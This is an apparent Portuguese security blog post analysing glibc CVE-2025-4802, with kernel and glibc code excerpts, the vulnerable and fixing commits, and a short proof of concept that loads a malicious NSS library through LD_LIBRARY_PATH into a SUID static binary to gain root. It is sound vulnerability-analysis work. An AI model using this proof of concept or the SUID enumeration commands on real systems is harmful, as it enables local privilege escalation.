To access this post in English, click here.
Nessa publicação apresentamos uma análise sucinta da vulnerabilidade CVE-2025-4802 [1] que afeta a implementação da libc feita pelo projeto GNU, a GLIBC, das versões 2.27 à 2.38 , entre 2017 e 2023 [2].
Tratando brevemente a seu respeito, essa vulnerabilidade permite que binários ELF estaticamente ligados (statically linked), que executem dlopen() [3] de forma implícita ou explícita e com o bit SUID habilitado carreguem bibliotecas arbitrárias através da variável de ambiente LD_LIBRARY_PATH. Em outras palavras, ela permite que um usuário com privilégios limitados execute código arbitrário com privilégios elevados.
Nossa proposta é apresentar os conhecimentos necessários para entender o problema de forma ampla, analisar a causa da vulnerabilidade, a correção, o impacto e como os componentes envolvidos, o loader, dynamic linker e o kernel, se relacionam para permitir a execução de binários no sistema. O sistema operacional utilizado para este blog post é o Ubuntu 22.04, como fornecido aos estudantes durante a turma do treinamento de exploração de vulnerabilidades em binários em ambiente Linux.
Desenvolvimento
Antes de analisar a vulnerabilidade em si, iremos apresentar alguns conceitos importantes para compreendê-la.
Entendendo o bit SUID/SGID
Primeiro, o bit set-user-ID (SUID)/set-group-ID (SGID) é utilizado para que binários sejam executados em nome de um usuário/grupo diferente daquele que iniciou a sua execução. Dessa forma, binários ELF configurados com esse bit habilitado geralmente são utilizados para permitir que usuários menos privilegiados executem tarefas que exigem permissões não garantidas a eles por padrão, mas atribuídas ao usuário/grupo dono desse ELF.
Por exemplo, o comando ping tem como proprietário o usuário root, além disso ele costumava possuir o bit SUID habilitado para conseguir criar sockets do tipo SOCK_RAW, necessário para o seu funcionamento, uma vez que apenas usuários com a capability CAP_NET_ADMIN ou CAP_NET_RAW [4] podem fazê-lo. Porém, como o bit SUID fornece mais privilégios do que o necessário para executar essa tarefa, ele foi desabilitado e a capability CAP_NET_RAW foi atribuída ao binário ping, permitindo o seu funcionamento apenas com as permissões apropriadas para todas as suas funcionalidades. O seguinte trecho é encontrado no manual do comando [5].
SECURITY
ping requires CAP_NET_RAW capability to be executed
1) if the program is used for non-echo queries (see -N option) or when the identification field set to 0 for ECHO_REQUEST (see -e), or 2) if kernel does not support ICMP datagram sockets, or 3) if the user is not allowed to create an ICMP echo socket. The program may be used as set-uid root.
Assim, ao visualizar as permissões do ping em distribuições antigas, costumávamos encontrar o seguinte resultado:
$ ls -lha /usr/bin/ping
-rwsr-xr-x 1 root root 60K Nov 10 2016 /usr/bin/ping
$Ou seja, o binário pertence ao usuário root, no primeiro octeto temos a indicação do bit SUID ativo pela flag s e no último octeto temos a permissão de execução para qualquer usuário. Logo, as execuções do ping eram sempre em nome do usuário root. Enquanto que atualmente o cenário é o seguinte:
$ ls -lha /usr/bin/ping
-rwxr-xr-x 1 root root 152K jun 5 2025 /usr/bin/ping*
$ getcap /usr/bin/ping
/usr/bin/ping cap_net_raw=ep
$Não há mais bit SUID habilitado, mas há a capability CAP_NET_RAW atribuída ao ELF. Para encontrar executáveis com o bit SUID habilitado, basta utilizarmos o utilitário find com o parâmetro -perm definido como -4000:
$ find / -perm -4000 2>/dev/null
...
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/fusermount3
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/umount
/usr/bin/su
...
$Verificando um dos resultados da busca, o comando sudo, podemos confirmar que ele é realmente definido com o bit SUID habilitado.
$ ls -lha /usr/bin/sudo
-rwsr-xr-x 1 root root 227K Jun 25 2025 /usr/bin/sudo
$O mesmo vale para o bit SGID, porém o valor de -perm dessa vez é -2000:
$ find / -perm -2000 2>/dev/null
...
/usr/bin/chage
/usr/bin/ssh-agent
/usr/bin/crontab
/usr/bin/expiry
/usr/lib/x86_64-linux-gnu/utempter/utempter
/usr/local/share/fonts
/usr/sbin/pam_extrausers_chkpwd
/usr/sbin/unix_chkpwd
...
$Novamente, ao checar algum resultado da busca, confirmamos que o comando crontab, de fato, possui o bit SGID habilitado.
$ ls -lha /usr/bin/crontab
-rwxr-sr-x 1 root crontab 39K Mar 23 2022 /usr/bin/crontab
$Um experimento rápido para assimilar bem o efeito do bit SUID/SGID em binários pode ser o seguinte:
- Escrever um código em C que chame a função execve()
- execve() executará uma shell, preservando os privilégios, chamando o comando id para imprimir as informações de usuário e grupo da execução
- Compilar o código para 3 binários diferentes
- O primeiro binário não será modificado
- O segundo terá seu proprietário e grupo alterados para root e suas permissões modificadas para habilitar o bit SUID
- O último binário terá apenas seu grupo modificado para root e também terá o bit SGID habilitado
Após executar os três binários, fica claro que o bit SUID altera o euid (ID de usuário efetivo) e o bit SGID altera o egid (ID de grupo efetivo). Escolhemos executar o comando id em vez de chamar as funções getuid(), geteuid() e getegid() para manter o código o mais conciso possível, já que nosso público pode não estar profundamente familiarizado com a programação em C. Note que o sistema de arquivos onde os arquivos residem deve permitir a execução de binários SUID (ou seja, não deve estar montado com a flag nosuid); caso contrário, os resultados serão diferentes. O código-fonte utilizado neste experimento pode ser encontrado ao final da página.
[+] Executing id as ./elf_id
[+] AT_SECURE = 0
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users)
[+] Executing id as ./elf_suid
[+] AT_SECURE = 1
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users)
[+] Executing id as ./elf_sgid
[+] AT_SECURE = 1
uid=1000(user) gid=1000(user) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),1000(user)Portanto, a partir do momento em que se torna possível carregar uma biblioteca arbitrária em binários com o bit SUID/SGID definido, estamos na verdade carregando código terceiro/externo sob controle de um usuário menos privilegiado para ser executado no contexto de um mais privilegiado, conforme relatado no Security Advisory 2025-0002 da GLIBC.
> A statically linked setuid binary that calls dlopen […]
may incorrectly search LD_LIBRARY_PATH to determine which library to load, leading to the execution of library code that is attacker controlled.
O loader, dynamic linker e o kernel
O sistema operacional precisa fornecer bibliotecas necessárias para a execução dos programas. Existe uma biblioteca fundamental que é chamada de biblioteca C, conhecida popularmente como libc. Um binário ELF pode ser compilado de duas formas: dinamicamente e estaticamente. Em um binário compilado dinamicamente, o dynamic linker (ld.so) [6], fornecido junto com a glibc, é indicado no binário através do cabeçalho PT_INTERP. Ele é identificado por esses dois nomes (loader ou dynamic linker), mas aqui neste artigo usaremos um ou outro para nos referir a etapas diferentes de sua execução. O loader executa antes do código do programa principal. Seu papel é principalmente preparar o ambiente e carregar na memória as bibliotecas compartilhadas utilizadas pelo código.
Em um binário estaticamente compilado, as bibliotecas necessárias, incluindo a libc, são embutidas diretamente no binário. Uma das diferenças entre as duas formas de compilação é que para o binário dinâmico o ambiente precisa estar de acordo para a execução do código, enquanto que na compilação estática o código pode ser considerado auto-suficiente, contendo todo o código necessário para sua execução. No binário compilado dinamicamente, o loader é indicado através do cabeçalho PT_INTERP, mas ele não existe em um binário compilado estaticamente. Porém, independente da forma de compilação do binário, existe um componente adicionado pelo compilador que é executado durante a inicialização do programa chamado de crt0 (C runtime 0).
Após o binário iniciar sua execução, o dynamic linker já realizou a maior parte de seu trabalho. Em binários compilados dinamicamente, ainda pode ocorrer a resolução tardia (lazy binding) de endereços de funções através do mecanismo de PLT/GOT. Apesar do binário compilado estaticamente não possuir um loader dinâmico separado (não existe PT_INTERP nem o ld.so), em algumas implementações como a glibc é possível carregar bibliotecas dinâmicas em tempo de execução através de chamadas como dlopen().
A glibc estática inclui suporte limitado para esse carregamento dinâmico. Para poder compilar um binário estaticamente, a versão estática da libc precisa ser instalada. A musl libc, diferente da glibc, não suporta carregamento de bibliotecas dinâmicas em binários estáticos [7]. Além da forma como o binário é compilado, existe também a forma como o binding vai ser realizado. Existem basicamente duas formas de binding: lazy e now. Essas formas são usadas principalmente em binários dinâmicos e dependem de como o binário foi compilado e de variáveis em tempo de execução, como através da variável de ambiente LD_BIND_NOW. O tipo de binding utilizado é uma informação importante durante a avaliação de segurança e exploração de vulnerabilidades em binário [8].
LD_BIND_NOW (since glibc 2.1.1)
If set to a nonempty string, causes the dynamic linker to resolve all symbols at program startup instead of deferring function call resolution to the point when they are first referenced. This is useful when using a debugger.
O modo lazy instrui o loader a resolver os endereços das funções das bibliotecas apenas na primeira chamada pelo código. A forma now realiza a resolução de todos os endereços de forma imediata, fazendo com que o uso posterior seja mais rápido. O lazy binding é um mecanismo típico de binários dinâmicos. Em binários estáticos puros, as chamadas são resolvidas em tempo de ligação. Lazy binding pode ocorrer apenas nas bibliotecas carregadas em tempo de execução via dlopen().
O loader também é responsável por consumir informações importantes enviadas pelo kernel para o espaço do usuário através da auxiliary vector [9][10]. Isso acontece independente da forma que o binário foi compilado. Como descrito no manual, esse mecanismo é conveniente e eficiente para passar informações ao loader ou ao código de inicialização do programa. Em nosso caso, por se tratar de uma execução privilegiada com o bit SUID/SGID ativo, algumas medidas de proteção devem ser adotadas, como a ativação do secure mode da glibc.
O binário estático pode estar vulnerável quando utiliza dlopen() ou funções que o acionam internamente, mesmo não possuindo um loader dinâmico separado. A resposta é a própria auxiliary vector. Como mencionado, ela é usada tanto por binários compilados dinamicamente quanto estaticamente. A diferença está no momento em que as informações são processadas. Em um binário dinâmico, a auxiliary vector é consumida pelo loader antes da execução do programa principal. Em um binário estático, as informações são processadas durante a inicialização da glibc e a flag de secure mode é definida cedo. Quando ocorre uma chamada a dlopen(), o código de carregamento dinâmico embutido consulta essa flag já definida.
O modo de execução privilegiado, também chamado de secure-execution mode, é habilitado pela definição de qualquer valor diferente de zero para a entrada AT_SECURE da auxiliary vector. Com isso, algumas variáveis de ambiente utilizadas pelo loader ou pelo mecanismo de carregamento dinâmico têm seus valores ignorados ou sanitizados, impedindo interferência durante a execução. Dentre as variáveis de ambiente que passam por essa sanitização está a LD_LIBRARY_PATH, que permite informar uma lista de diretórios onde devem ser buscadas as bibliotecas usadas em tempo de execução pelo binário.
Para que a execução de um binário ELF dinamicamente compilado ocorra com sucesso, dois componentes essenciais precisam trabalhar em conjunto. Esses componentes são o loader e o kernel. No caso da execução de um binário através da chamada de sistema execve(), por exemplo, o fluxo simplificado é o seguinte:
execve() -> kernel -> loader -> Função main() do binárioO papel exato realizado pelo loader dependerá de várias circunstâncias, sendo que uma dessas é caso o binário possua o bit SUID/SGID habilitado, conforme indicado pela auxiliary vector.
A auxiliary vector é localizada na stack, próximo das variáveis de ambiente. Além da entrada definida como AT_SECURE, que habilita o modo de segurança no loader em caso de binários com o bit SUID/SGID habilitado, existem outras informações importantes para o loader na auxiliary vector que também podem ser interessantes em exploração de vulnerabilidades de binários, como AT_BASE que contém o endereço base do loader e AT_SYSINFO_EHDR, o endereço virtual da página da vDSO (virtual DSO).
Para analisar como o kernel gerencia os privilégios de binários ELF com o bit SUID/SGID habilitado, temos que seguir o seguinte fluxo de execução iniciado com a chamada de sistema execve():
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
load_binary() -> load_elf_binary()
begin_new_exec()
bprm_creds_from_file()
bprm_fill_uid()
security_bprm_creds_from_file()
cap_bprm_creds_from_file()
commit_creds()
create_elf_tables()Nesse fluxo, as funções mais importantes para o nosso objetivo são bprm_fill_uid(), cap_bprm_creds_from_file() e create_elf_tables(). A primeira delas, bprm_fill_uid(), como o nome sugere, configura os valores de effective user e group ID de acordo com o inode do binário ELF que será executado. Dessa forma, mais adiante, cap_bprm_creds_from_file() realiza uma verificação crucial sobre os valores desses identificadores de usuário e de grupo. Por último, create_elf_tables() faz a comunicação do modo kernel para o modo usuário de que essa execução lida com binários com bit SUID/SGID ativo.
Para entender exatamente como essas funções atuam é necessário saber que a estrutura struct linux_binprm representa todos os argumentos que devem ser utilizados para executar um binário, como os argumentos passados ao binário durante a chamada, as variáveis de ambiente, o file descriptor, seu descritor de memória, entre outras informações. Nesse momento, o membro mais importante dessa estrutura é o bit secureexec, pois em create_elf_tables() o seu valor é copiado para a auxiliary vector por meio da definição de AT_SECURE.
File: Ubuntu-5.15.0-164.174/include/linux/binfmts.h
---
14 /*
15 * This structure is used to hold the arguments that are used when loading binaries.
16 */
17 struct linux_binprm {
...
28 unsigned int
...
30 have_execfd:1,
...
33 execfd_creds:1,
...
39 secureexec:1,
...
44 point_of_no_return:1;
...
51 struct cred *cred; /* new credentials */
...
67 } __randomize_layout;
---Como já foi antecipado, bprm_fill_uid() utiliza o inode do objeto bprm, do tipo struct linux_binprm, para obter propriedades do binário, como identificadores de usuário e grupo e seu modo, diretamente do sistema de arquivos. Uma vez que as flags indicadoras de ativação do bit SUID/SGID estão presentes, os effective user/group IDs do objeto bprm são atualizados.
File: Ubuntu-5.15.0-164.174/fs/exec.c
---
1597 static void bprm_fill_uid(struct linux_binprm *bprm, struct file *file)
1598 {
1599 /* Handle suid and sgid on files */
1600 struct user_namespace *mnt_userns;
1601 struct inode *inode;
1602 unsigned int mode;
1603 kuid_t uid;
1604 kgid_t gid;
1605 int err;
...
1613 inode = file->f_path.dentry->d_inode;
1614 mode = READ_ONCE(inode->i_mode);
1615 if (!(mode & (S_ISUID|S_ISGID)))
1616 return;
1617
1618 mnt_userns = file_mnt_user_ns(file);
...
1623 /* Atomically reload and check mode/uid/gid now that lock held. */
1624 mode = inode->i_mode;
1625 uid = i_uid_into_mnt(mnt_userns, inode);
1626 gid = i_gid_into_mnt(mnt_userns, inode);
1627 err = inode_permission(mnt_userns, inode, MAY_EXEC);
1628 inode_unlock(inode);
...
1639 if (mode & S_ISUID) {
1640 bprm->per_clear |= PER_CLEAR_ON_SETID;
1641 bprm->cred->euid = uid;
1642 }
1643
1644 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) {
1645 bprm->per_clear |= PER_CLEAR_ON_SETID;
1646 bprm->cred->egid = gid;
1647 }
1648 }
---Assim, conforme pode ser visualizado no extrato de código de cap_bprm_creds_from_file() a seguir, o membro secureexec do objeto bprm é definido quando:
- Os UID/GID efetivos desse objeto diferem do UID/GID real do processo que iniciou a chamada de sistema
execve(), ou seja, de quem solicitou a execução do ELF com bit SUID/SGID ativo; - O UID real não é de root e o ELF possui a capability Effective atribuída ou não há redundância entre a capability Ambient e as demais permitidas.
File: Ubuntu-5.15.0-164.174/security/commoncap.c
---
882 /**
883 * cap_bprm_creds_from_file - Set up the proposed credentials for execve().
884 * @bprm: The execution parameters, including the proposed creds
885 * @file: The file to pull the credentials from
886 *
887 * Set up the proposed credentials for a new execution context being
888 * constructed by execve(). The proposed creds in @bprm->cred is altered,
889 * which won't take effect immediately.
890 *
891 * Return: 0 if successful, -ve on error.
892 */
893 int cap_bprm_creds_from_file(struct linux_binprm *bprm, struct file *file)
894 {
895 /* Process setpcap binaries and capabilities for uid 0 */
896 const struct cred *old = current_cred();
897 struct cred *new = bprm->cred;
898 bool effective = false, has_fcap = false, is_setid;
899 int ret;
900 kuid_t root_uid;
...
905 ret = get_file_caps(bprm, file, &effective, &has_fcap);
...
909 root_uid = make_kuid(new->user_ns, 0);
910
911 handle_privileged_root(bprm, has_fcap, &effective, root_uid);
...
922 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
...
973 /* Check for privilege-elevated exec. */
974 if (is_setid ||
975 (!__is_real(root_uid, new) &&
976 (effective ||
977 __cap_grew(permitted, ambient, new))))
978 bprm->secureexec = 1;
979
980 return 0;
981 }
---File: Ubuntu-5.15.0-164.174/security/commoncap.c
---
832 #define __cap_grew(target, source, cred) \
833 !cap_issubset(cred->cap_##target, cred->cap_##source)
...
837 static inline bool __is_setuid(struct cred *new, const struct cred *old)
838 { return !uid_eq(new->euid, old->uid); }
839
840 static inline bool __is_setgid(struct cred *new, const struct cred *old)
841 { return !gid_eq(new->egid, old->gid); }
---Uma vez que as credenciais do objeto bprm estão corretamente definidas, a função commit_creds() é chamada para definir esses privilégios para o processo atual. Logo em seguida, após o fluxo de execução retornar de begin_new_exec() para load_elf_binary(), a função create_elf_tables() é chamada para copiar alguns atributos de struct linux_binprm para a auxiliary vector, entre eles o bit secureexec, que é usado para definir o valor da entrada AT_SECURE.
File: Ubuntu-5.15.0-164.174/fs/binfmt_elf.c
---
172 create_elf_tables(struct linux_binprm *bprm, const struct elfhdr *exec,
173 unsigned long interp_load_addr,
174 unsigned long e_entry, unsigned long phdr_addr)
175 {
176 struct mm_struct *mm = current->mm;
...
180 elf_addr_t __user *sp;
...
188 elf_addr_t *elf_info;
...
190 int ei_index;
...
239 /* Create the ELF interpreter info */
240 elf_info = (elf_addr_t *)mm->saved_auxv;
241 /* update AT_VECTOR_SIZE_BASE if the number of NEW_AUX_ENT() changes */
242 #define NEW_AUX_ENT(id, val) \
243 do { \
244 *elf_info++ = id; \
245 *elf_info++ = val; \
246 } while (0)
...
272 NEW_AUX_ENT(AT_SECURE, bprm->secureexec);
...
297 ei_index = elf_info - (elf_addr_t *)mm->saved_auxv;
298 sp = STACK_ADD(p, ei_index)
..
357 /* Put the elf_info on the stack in the right place. */
358 if (copy_to_user(sp, mm->saved_auxv, ei_index * sizeof(elf_addr_t)))
...
361 }
---A vulnerabilidade (CVE-2025-4802)
Agora que as nuances necessárias para alcançar uma melhor compreensão da vulnerabilidade foram abordadas, vamos analisar o commit que introduziu o código vulnerável. Destacando apenas as modificações relevantes, vemos que a função fillin_rpath() teve o parâmetro check_trusted removido, e consequentemente, o trecho de código que utilizava esse parâmetro também foi excluído, incluindo a função is_trusted_path().
Com isso, ao atualizar as chamadas feitas à fillin_rpath(), o valor da variável __libc_enable_secure na função _dl_init_paths() deixou de ser utilizado como o parâmetro check_trusted, mesmo essa variável sendo responsável por definir se checagens de segurança devem ser executadas ou não. Uma vez que __libc_enable_secure não é mais usada como check_trusted e o path não é mais verificado como confiável por is_trusted_path(), a variável de ambiente LD_LIBRARY_PATH passou a ser buscada por fillin_rpath() e utilizada em _dl_non_dynamic_init() por meio de _dl_init_paths(). O commit que adicionou a vulnerabilidade é exibido abaixo:
commit 10e93d968716ab82931d593bada121c17c0a4b93
Author: Dmitry V. Levin <ldv@altlinux.org>
Date: Mon Dec 18 21:46:07 2017 +0000
elf: remove redundant __libc_enable_secure check from fillin_rpath
There are just two users of fillin_rpath: one is decompose_rpath that
sets check_trusted argument to 0, another one is _dl_init_paths that
sets check_trusted argument to __libc_enable_secure and invokes
fillin_rpath only when LD_LIBRARY_PATH is non-empty.
Starting with commit
glibc-2.25.90-512-gf6110a8fee2ca36f8e2d2abecf3cba9fa7b8ea7d,
LD_LIBRARY_PATH is ignored for __libc_enable_secure executables,
so check_trusted argument of fillin_rpath is always zero.
* elf/dl-load.c (is_trusted_path): Remove.
(fillin_rpath): Remove check_trusted argument and its use,
all callers changed.
diff --git a/elf/dl-load.c b/elf/dl-load.c
index e7d97dcc56..2964464158 100644
--- a/elf/dl-load.c
+++ b/elf/dl-load.c
@@ -116,24 +116,6 @@ static const size_t system_dirs_len[] =
};
#define nsystem_dirs_len array_length (system_dirs_len)
-static bool
-is_trusted_path (const char *path, size_t len)
-{
- const char *trun = system_dirs;
-
- for (size_t idx = 0; idx < nsystem_dirs_len; ++idx)
- {
- if (len == system_dirs_len[idx] && memcmp (trun, path, len) == 0)
- /* Found it. */
- return true;
-
- trun += system_dirs_len[idx] + 1;
- }
-
- return false;
-}
-
-
static bool
is_trusted_path_normalize (const char *path, size_t len)
{
@@ -428,8 +410,7 @@ static size_t max_dirnamelen;
static struct r_search_path_elem **
fillin_rpath (char *rpath, struct r_search_path_elem **result, const char *sep,
- int check_trusted, const char *what, const char *where,
- struct link_map *l)
+ const char *what, const char *where, struct link_map *l)
{
char *cp;
size_t nelems = 0;
@@ -459,13 +440,6 @@ fillin_rpath (char *rpath, struct r_search_path_elem **result, const char *sep,
if (len > 0 && cp[len - 1] != '/')
cp[len++] = '/';
- /* Make sure we don't use untrusted directories if we run SUID. */
- if (__glibc_unlikely (check_trusted) && !is_trusted_path (cp, len))
- {
- free (to_free);
- continue;
- }
-
/* See if this directory is already known. */
for (dirp = GL(dl_all_dirs); dirp != NULL; dirp = dirp->next)
if (dirp->dirnamelen == len && memcmp (cp, dirp->dirname, len) == 0)
@@ -791,8 +765,7 @@ _dl_init_paths (const char *llp)
}
(void) fillin_rpath (llp_tmp, env_path_list.dirs, ":;",
- __libc_enable_secure, "LD_LIBRARY_PATH",
- NULL, l);
+ "LD_LIBRARY_PATH", NULL, l);
if (env_path_list.dirs[0] == NULL)
{O commit que corrige esse descuido moveu a rotina de sanitização de variáveis de ambiente afetadas pelo secure mode, conforme o valor da variável __libc_enable_secure, para antes de LD_LIBRARY_PATH ser inicializada por _dl_init_paths() em _dl_non_dynamic_init(), evitando que a definição de qualquer valor seja atribuído a ela.
commit 5451fa962cd0a90a0e2ec1d8910a559ace02bba0
Author: Adhemerval Zanella <adhemerval.zanella@linaro.org>
Date: Mon Nov 6 17:25:49 2023 -0300
elf: Ignore LD_LIBRARY_PATH and debug env var for setuid for static
It mimics the ld.so behavior.
Checked on x86_64-linux-gnu.
Reviewed-by: Siddhesh Poyarekar <siddhesh@sourceware.org>
diff --git a/elf/dl-support.c b/elf/dl-support.c
index 31a608df87..837fa1c836 100644
--- a/elf/dl-support.c
+++ b/elf/dl-support.c
@@ -272,8 +272,6 @@ _dl_non_dynamic_init (void)
_dl_main_map.l_phdr = GL(dl_phdr);
_dl_main_map.l_phnum = GL(dl_phnum);
- _dl_verbose = *(getenv ("LD_WARN") ?: "") == '\0' ? 0 : 1;
-
/* Set up the data structures for the system-supplied DSO early,
so they can influence _dl_init_paths. */
setup_vdso (NULL, NULL);
@@ -281,6 +279,22 @@ _dl_non_dynamic_init (void)
/* With vDSO setup we can initialize the function pointers. */
setup_vdso_pointers ();
+ if (__libc_enable_secure)
+ {
+ static const char unsecure_envvars[] =
+ UNSECURE_ENVVARS
+ ;
+ const char *cp = unsecure_envvars;
+
+ while (cp < unsecure_envvars + sizeof (unsecure_envvars))
+ {
+ __unsetenv (cp);
+ cp = strchr (cp, '\0') + 1;
+ }
+ }
+
+ _dl_verbose = *(getenv ("LD_WARN") ?: "") == '\0' ? 0 : 1;
+
/* Initialize the data structures for the search paths for shared
objects. */
_dl_init_paths (getenv ("LD_LIBRARY_PATH"), "LD_LIBRARY_PATH",
@@ -297,20 +311,6 @@ _dl_non_dynamic_init (void)
_dl_dynamic_weak = *(getenv ("LD_DYNAMIC_WEAK") ?: "") == '\0';
- if (__libc_enable_secure)
- {
- static const char unsecure_envvars[] =
- UNSECURE_ENVVARS
- ;
- const char *cp = unsecure_envvars;
-
- while (cp < unsecure_envvars + sizeof (unsecure_envvars))
- {
- __unsetenv (cp);
- cp = strchr (cp, '\0') + 1;
- }
- }
-
#ifdef DL_PLATFORM_INIT
DL_PLATFORM_INIT;
#endifProva de Conceito (PoC)
Utilizando a prova de conceito disponibilizada por Solar Designer na mensagem enviada à lista de e-mail oss-security, com uma pequena modificação para executar o binário id, igual fizemos nos exemplos anteriores, vemos que a nossa biblioteca foi carregada e que a função _nss_myhostname_endhostent() foi executada ao chamar endhostent(), confirmando a execução de código arbitrário em contexto privilegiado.
$ cat attack.c
#include <nss.h>
#include <stdio.h>
#include <unistd.h>
enum nss_status _nss_myhostname_endhostent(void)
{
puts("intercepted");
execve("/bin/sh", (char *[]){"/bin/sh", "-p", "-c", "id", NULL}, NULL);
return NSS_STATUS_SUCCESS;
}
$ gcc attack.c -o libnss_myhostname.so.2 -O2 -Wall --shared -fPIC
$ cat victim.c
#include <netdb.h>
int main(void)
{
sethostent(0);
endhostent();
return 0;
}
$ gcc victim.c -o victim -O2 -s -Wall -static
/usr/bin/ld: /tmp/ccJjU2OI.o: in function `main`:
victim.c:(.text.startup+0x7): warning: Using 'sethostent' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
/usr/bin/ld: victim.c:(.text.startup+0xc): warning: Using 'endhostent' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
$ sudo chown root:root victim
$ sudo chmod +s victim
$ ls -lha
total 3.9M
drwxr-xr-x 2 user user 177 Mar 17 18:18 .
drwx------. 6 user user 4.0K Mar 17 18:18 ..
-rw-r--r-- 1 user user 233 Mar 17 12:09 attack.c
-rwxr-xr-x 1 user user 16K Mar 17 12:09 libnss_myhostname.so.2
-rwsr-sr-x 1 root root 2.0M Mar 17 18:18 victim
-rw-r--r-- 1 user user 81 Mar 17 18:18 victim.c
$ LD_LIBRARY_PATH=. ./victim
intercepted
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),10(wheel),1000(user)
$Nota: A distribuição Ubuntu 22.04 corrigiu essa vulnerabilidade com a atualização da GLIBC para a versão 2.35-0ubuntu10, então para reproduzir a prova de conceito é necessário realizar o downgrade da biblioteca para alguma versão afetada, em nosso caso utilizamos a 2.35-0ubuntu9.
Além disso, nessa versão do Ubuntu, a funcionalidade de módulos NSS da GLIBC não está configurada para efetuar resolução de nomes para o próprio host, como pode ser visualizado através da entrada host no arquivo /etc/nsswitch.conf. Portanto, além do downgrade para uma versão vulnerável da libc, o valor “myhostname” deve ser incluído no registro “host” de /etc/nsswitch.conf.
A decisão por compilar uma função pertencente ao recurso NSS [11][12] se deu por ela realizar a chamada a dlopen() internamente. Portanto, qualquer ELF estaticamente ligado que requisite operações de consumo de base de dados local ou remota pode ser utilizado para carregar código arbitrário que resulte em elevação de privilégios.
Apesar de interessante do ponto de vista técnico que ajuda a entender, como demonstramos nesse artigo, como o loader, dynamic linker, o kernel e outros componentes se relacionam e são necessários para a execução de um binário e também como a vulnerabilidade acontece, como foi corrigida e como esses problemas poderiam ser evitados. Até o momento da escrita deste post, não foi encontrado um binário que atenda as exigências da vulnerabilidade em nenhuma distribuição por padrão. Por este motivo, essa é uma vulnerabilidade de baixo impacto.
Conclusão
Nessa publicação analisamos a vulnerabilidade CVE-2025-4802 que afeta a GNU libc, permitindo o carregamento de bibliotecas arbitrárias em binários SUID/SGID através da variável de ambiente LD_LIBRARY_PATH. Almejando compreender o impacto da vulnerabilidade, investigamos como binários com o bit SUID/SGID habilitado se comportam do ponto de vista do usuário e como o kernel lida com binários desse tipo. Além disso, vimos como o kernel orienta o loader durante a execução de binários compilados dinamicamente e estaticamente por meio da auxiliary vector, podendo habilitar recursos de segurança da GLIBC quando necessário. Por fim, pudemos concluir que a causa raiz dessa vulnerabilidade foi a ausência de sanitização sobre a variável de ambiente mencionada durante um modo de execução protegida no fluxo destinado a binários estaticamente ligados.
Apêndice
Código em C utilizado no experimento sugerido:
File: elf_id.c
---
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/auxv.h>
int main (int argc, char *argv[]) {
printf("[+] Executing id as %s\n", argv[0]);
printf("[+] AT_SECURE = %ld\n", getauxval(AT_SECURE));
execve("/bin/sh", (char *[]){"/bin/sh", "-p", "-c", "id", NULL}, NULL);
return 0;
}
---O arquivo Makefile para preparar o experimento está disponível abaixo. Observe que o arquivo precisa ser ajustado com o nome de usuário correto, pois ele pressupõe que o usuário se chame ‘user’.
File: Makefile
---
all: elf_id.c
gcc -g -Wall $^ -o elf_id
gcc -g -Wall $^ -o elf_suid
gcc -g -Wall $^ -o elf_sgid
sudo chown root:root elf_suid
sudo chown user:root elf_sgid
sudo chmod 4755 elf_suid
sudo chmod 2755 elf_sgid
clean:
rm -f elf_id elf_suid elf_sgid
---Referências
[1] – The GNU C Library security advisories update for 2025-05-16
https://sourceware.org/pipermail/libc-announce/2025/000046.html
[2] – Re: The GNU C Library security advisories update for 2025-05-16
https://www.openwall.com/lists/oss-security/2025/05/17/2
[3] – dlopen(3) – Linux manual page
https://man7.org/linux/man-pages/man3/dlopen.3.html
[4] – capabilities(7) – Linux manual page
https://man7.org/linux/man-pages/man7/capabilities.7.html
[5] – ping(8) – Linux manual page
https://man7.org/linux/man-pages/man8/ping.8.html
[6] – ld.so(8) — Linux manual page
https://man7.org/linux/man-pages/man8/ld.so.8.html
[7] – Re: static linking and dlopen
https://www.openwall.com/lists/musl/2012/12/08/4
[8] – Hardening ELF binaries using Relocation Read-Only (RELRO)
https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro
[9] – getauxval(3) — Linux manual page
https://man7.org/linux/man-pages/man3/getauxval.3.html
[10] – getauxval() and the auxiliary vector
https://lwn.net/Articles/519085/
[11] – The GNU C Library – Name Service Switch
https://sourceware.org/glibc/manual/latest/html_node/Name-Service-Switch.html
[12] – nsswitch.conf(5) — Linux manual page
https://man7.org/linux/man-pages/man5/nsswitch.conf.5.html
